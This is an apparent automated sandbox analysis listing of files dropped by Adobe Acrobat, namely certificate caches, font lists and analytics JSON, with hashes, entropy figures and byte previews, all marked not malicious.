Preview:	.... .c.....X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklkdGLlltfllXlE/HT8knZNNX8RolJuRdxLlGB9lQRYwpDdt:kK9c/eT8MNMa8RdWBwRd
MD5:	B6248FA473D4A43AB6DC765CFB5E8B78
SHA1:	24A4AD19F803038974426A62E99170573F999498
SHA-256:	A527A3CD055AB03A69F93E3C2E119924C9CD42D0484068D1BC667A8FC8767C7B
SHA-512:	6FB0E64BC87C8F00F2767C830C8AD7D56E3DA395E609ECCD46FFE9F823B7D55B68695774AFE3CBBD1185370150CA727EB8DAAB14519C8C757D0EF337C2A54DEE
Malicious:	false
Preview:	p...... ..........<..c..(....................................................... ..........W....h...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKQL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YiDnLNkPlE99SNxAhUe/3
MD5:	7A6F85C1576E222DD31EB22C8B141F18
SHA1:	116BF7DFD2FDF84F9D759E3499A16B0F111AC166
SHA-256:	AEAE61722DCFC372C4F593164C4A3202A49E94A90B00BAE39B088DFE581BB085
SHA-512:	97AC0A091572DA2C232E335B28BE92AAF3006F539A100B6B1D6D8E2426BC845FE06DC878013BA2F8ADE4EE92226842EC60D3477674FCA61AC40C12D2B682A5BB
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6944

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353322406367628
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJM3g98kUwPeUkwRe9:YvXKX2blcidjGMbLUkee9
MD5:	C61BA065A0124EF92C1D4036F8C779DD
SHA1:	16C958A44DE351FBE185812AFAF4042D81DCCB11
SHA-256:	F3DD69380A7D5CCFF2F8313575F1A217C81C0304CD92F06F515A0AA45A4EB573
SHA-512:	30AF759982FF0B802DCEC0B7857E61D5D56B8A00ACBDB3607EECCCF658BC4D4DD67EF644F0BDBCA5F3CA7D7882DBEB604AF8D5CE525C0DCA58EC7F96BB587D98
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304503281181608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfBoTfXpnrPeUkwRe9:YvXKX2blcidjGWTfXcUkee9
MD5:	8B3C6682977ADB81D27C7C59F349EEA0
SHA1:	F4DA9BB3A71DE01FC291F6D189D4ED1ED6964B6F
SHA-256:	715C9F713DB95B1C98FA5E02B3D48183D43325C802644ADEA45C4CDDD476588E
SHA-512:	E838452979B6AEF60C829FBFB1C7FE37149CC15D4FC241FD78DE678DCAB4141F7FEA0936BB91CDEB0364C7B94CC986B99EA1B798C30C22A2A0756353A7362D46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283324356227207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfBD2G6UpnrPeUkwRe9:YvXKX2blcidjGR22cUkee9
MD5:	C5E50698E27BDFA766518DF46ED5340F
SHA1:	CF752CEDB26B0AD909C63EAA95279FEAEFD21204
SHA-256:	6278338181AA8037FD4EB8E5CA34ED99B3ACB2EFF194DF82717BDDD50CA030B5
SHA-512:	5CCE518FF46B47E9CBB43D53CA515853F80FD2EC7565ADC2046D4F5FE7964124D81F93B4080BFF33791F6CFA687EEC578BF549BB6FC3D3749367684F023E5250
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.332992666945614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfPmwrPeUkwRe9:YvXKX2blcidjGH56Ukee9
MD5:	4C3AB73EFE5B524E7849E82D922EFBBB
SHA1:	7CCD986804A67417D55230AEF012C52CEFDFC23D
SHA-256:	69EF53031ABF5F55DD42EDBFBF7693C1630F95D0858468E5C6D9FAEF34776522
SHA-512:	D7A43CC3804FC67CD4DD7052568B737C44BFFA8AF88B496C5F2146F6ED2034F19B590B20843598EBB0B3F9ED3971BCFE5D00F7D33CAE05E628B18B7B06E7C261
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683875799277157
Encrypted:	false
SSDEEP:	24:Yv6X2Oid4pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2P:Yvhd4hgy6SAFv5Ah8cv/2P
MD5:	FE182521F81CAE7C921407C84B4D6131
SHA1:	3BD5B4DEA7BD6DDB9F6D15D7571F2110B877E20A
SHA-256:	E1F3DB6BBC3587B8AFEFFF97FB23EB225904E6257C834D06C551F27F30FB0BCD
SHA-512:	68B3A4CD8CC50EEDCE007251BE8406BD3DB6E4A56AB3F83FD0853086A6AB8C7B7ACC7A4AECADE7E8756DCAB2CE91AEC9FF0D1A7F7EAE4CCCAE75F896B732D08F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279583443033642
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJf8dPeUkwRe9:YvXKX2blcidjGU8Ukee9
MD5:	DCDDD1F0BC545EB66B00111D109B00B0
SHA1:	D0AA1FCAFB747698CDB6B399533BC0F7175069B0
SHA-256:	B3BF569EE8EA63590D0D3F65BBFC72146111143B9D51C066711C5199E217E193
SHA-512:	A7F61E11D130D5DA4BBB53D9430DF5BB5D745031EFE524B2632447F1185B020CDBF380BB48C600B3600FD9FD587B739C3AE4CCD47436F7CDF88E2816DB70B16D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282461626990129
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfQ1rPeUkwRe9:YvXKX2blcidjGY16Ukee9
MD5:	82E8E4ADD13F6798363C845E5ACF43BA
SHA1:	EA41D0A7AF4F088CC55225E9C47CDC5DF0DA026F
SHA-256:	8D9556606E4E06CA1687FE2E3E4455720112336D85788DF8C91B3AC93F70CDCA
SHA-512:	882DFBD58BD62C624BB18C85BE38EFEC4C7849272B66A467E3909EF711C61E517D396A7A03E090691D61256143102628D105E52733239BC6DF85C9C6B7278AFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289232082350948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfFldPeUkwRe9:YvXKX2blcidjGz8Ukee9
MD5:	1A72E3D65D63A4C98FB4D5AAE311E28C
SHA1:	9D75E6FC3FC316D00FBDDE38F1B8756BB18F8BD8
SHA-256:	A9EDDE011A948888EBA164055830B202BA035EED5ED20F7D0EAD594171AF5360
SHA-512:	BAC97CA764751DA10384093221158D1FE8318C8DF0A70BF616DF7DBCBD855E4882568E2EA6C0F530FF3CD914AA003FC5E9F00162CBF933D9645398340EB7D52E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b5cf7de9-8008-4502-aead-1babdc03e828","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736732808356,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.306131594081225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWb40nZiQ0YtdYoAvJfzdPeUkwRe9:YvXKX2blcidjGb8Ukee9
MD5:	C48F7E0A1729A10DFF1837E16B2F4BC5
SHA1:	D602D4AE739295C0D245E633BE0C4DCA77D883EE
SHA-256:	7331A48A38B2743DD50B4E6D8E9FF93900DF1A7C7FA9250C952E61CD2AAAAD7D
SHA-512:	765FD8869F379751D997287559C299BCBD93AD38157B307CC86B7FF3F224D49673DE3CB0F3B668AE34131B69FE792BA92AD49200DBA7D3BB955FAB91AA26F5BB
Malicious:	false
